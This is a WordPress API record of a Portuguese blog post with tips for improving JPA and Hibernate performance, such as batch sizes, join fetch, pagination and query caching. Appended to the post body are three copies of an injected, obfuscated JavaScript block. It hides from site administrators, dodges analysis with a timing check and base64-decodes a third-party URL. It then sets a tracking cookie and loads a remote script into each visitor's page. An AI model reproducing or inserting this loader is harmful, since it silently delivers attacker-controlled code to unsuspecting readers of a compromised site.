{"id":3802,"date":"2013-01-23T00:02:31","date_gmt":"2013-01-23T02:02:31","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3802"},"modified":"2025-10-26T22:34:08","modified_gmt":"2025-10-27T01:34:08","slug":"melhorar-desempenho-jpa","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2013\/01\/23\/melhorar-desempenho-jpa\/","title":{"rendered":"Melhorar desempenho JPA"},"content":{"rendered":"<p>Abaixo temos algumas recomenda\u00e7\u00f5es para melhorar o desempenho de aplica\u00e7\u00f5es com JPA e Hibernate<\/p>\n<ul style=\"text-align: justify;\">\n<li>Utilizar a annotation @BatchSize(size=TAMANHO) para melhorar o desempenho em entidades que recuperam v\u00e1rios registros.<\/li>\n<li>Utilizar <em>join fetch<\/em> ao inv\u00e9s de relacionamentos EAGER para cole\u00e7\u00f5es. Dessa forma evitar\u00e1 LazyInitializationException e carregar v\u00e1rios dados em mem\u00f3ria com o EAGER.<\/li>\n<li>Utilizar EAGER em anota\u00e7\u00f5es @ManyToMany e @OneToMany somente em cole\u00e7\u00f5es que temos certeza que s\u00e3o pequenas, por exemplo com uns 5 registros no m\u00e1ximo.<\/li>\n<li>Caso queira evitar \u00a0consultas utilizando o <em>join fetch<\/em>, utilizar o utilit\u00e1rio Hibernate.initialize(objeto) para carregar a cole\u00e7\u00e3o LAZY quando necess\u00e1rio para n\u00e3o obter LazyInitializationException<\/li>\n<li>Evitar utilizar o Collections.sort e utilizar o order by do jpa.<\/li>\n<li>Evitar utilizar o ID nos m\u00e9todos equals e hashCode, mais informa\u00e7\u00f5es <a title=\"EqualsAndHashCode\" href=\"https:\/\/community.jboss.org\/wiki\/EqualsAndHashCode\" target=\"_blank\" rel=\"noopener\">nesse link<\/a>.<\/li>\n<li>Utilizar Named Queries para facilitar o gerenciamento.<\/li>\n<li>Utilizar setFirstResult, setMaxResults da classe Query em locais onde \u00e9 desejado pagina\u00e7\u00e3o ou retornam muitos resultados.<\/li>\n<li>Habilitar o cache de consultas no persistence.xml (em produ\u00e7\u00e3o): &lt;property name=\"hibernate.cache.use_query_cache\"&gt;true&lt;\/property&gt;<\/li>\n<li>Desabilitar logs desnecess\u00e1rios no persistence.xml (em produ\u00e7\u00e3o): &lt;property name=\"hibernate.show_sql\" value=\"false\" \/&gt; e &lt;property name=\"hibernate.format_sql\" value=\"false\" \/&gt;<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Exemplos de mapeamentos incorretos e lentos:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\n@ManyToMany(fetch = FetchType.EAGER)\nprivate Set algo;\n<\/pre>\n<p style=\"text-align: justify;\">Onde algo s\u00e3o v\u00e1rios registros que n\u00e3o s\u00e3o utilizados nas telas da aplica\u00e7\u00e3o. Outras poss\u00edveis formas de se melhorar o desempenho \u00e9 utilizar cache secund\u00e1rio e habilitar cache de queries. Se voc\u00ea tiver alguma outra dica \u00e9 s\u00f3 avisar.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Abaixo temos algumas recomenda\u00e7\u00f5es para melhorar o desempenho de aplica\u00e7\u00f5es com JPA e Hibernate Utilizar a annotation @BatchSize(size=TAMANHO) para melhorar o desempenho em entidades que recuperam v\u00e1rios registros. Utilizar join fetch ao inv\u00e9s de relacionamentos EAGER para cole\u00e7\u00f5es. Dessa forma <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2013\/01\/23\/melhorar-desempenho-jpa\/\">Continue lendo  <span class=\"screen-reader-text\">  Melhorar desempenho JPA<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-3802","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3802","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3802"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3802\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3802"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3802"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3802"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}